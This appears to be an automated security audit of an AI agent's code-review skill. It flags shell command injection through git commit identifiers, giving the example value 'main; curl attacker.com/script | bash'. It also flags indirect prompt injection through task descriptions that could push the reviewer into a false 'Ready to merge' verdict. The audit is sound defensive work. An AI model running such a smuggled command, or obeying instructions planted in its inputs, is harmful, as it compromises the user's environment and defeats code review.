requesting-code-review

Fail

Audited by Gen Agent Trust Hub on Feb 16, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION] (HIGH): Vulnerable to shell command injection through git commit identifiers.
  • Evidence: The file code-reviewer.md directly interpolates {BASE_SHA} and {HEAD_SHA} into a shell command block: git diff --stat {BASE_SHA}..{HEAD_SHA}.
  • Risk: If an attacker can control these identifiers (e.g., providing a value like main; curl attacker.com/script | bash), they can execute arbitrary commands in the agent's environment.
  • [PROMPT_INJECTION] (HIGH): Vulnerable to Indirect Prompt Injection via external implementation descriptions and project plans.
  • Ingestion points: code-reviewer.md accepts untrusted data through the {WHAT_WAS_IMPLEMENTED} and {PLAN_OR_REQUIREMENTS} placeholders.
  • Boundary markers: There are no delimiters or explicit instructions to ignore embedded commands within these inputs.
  • Capability inventory: The subagent performs file system operations (git diff) and generates a 'Ready to merge' verdict that influences development workflows.
  • Sanitization: No sanitization or escaping is performed on the descriptive inputs.
  • Risk: Malicious instructions hidden in a task description or requirements document could trick the reviewer into overlooking security flaws or providing a false 'Ready to merge' assessment.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Feb 16, 2026, 08:38 AM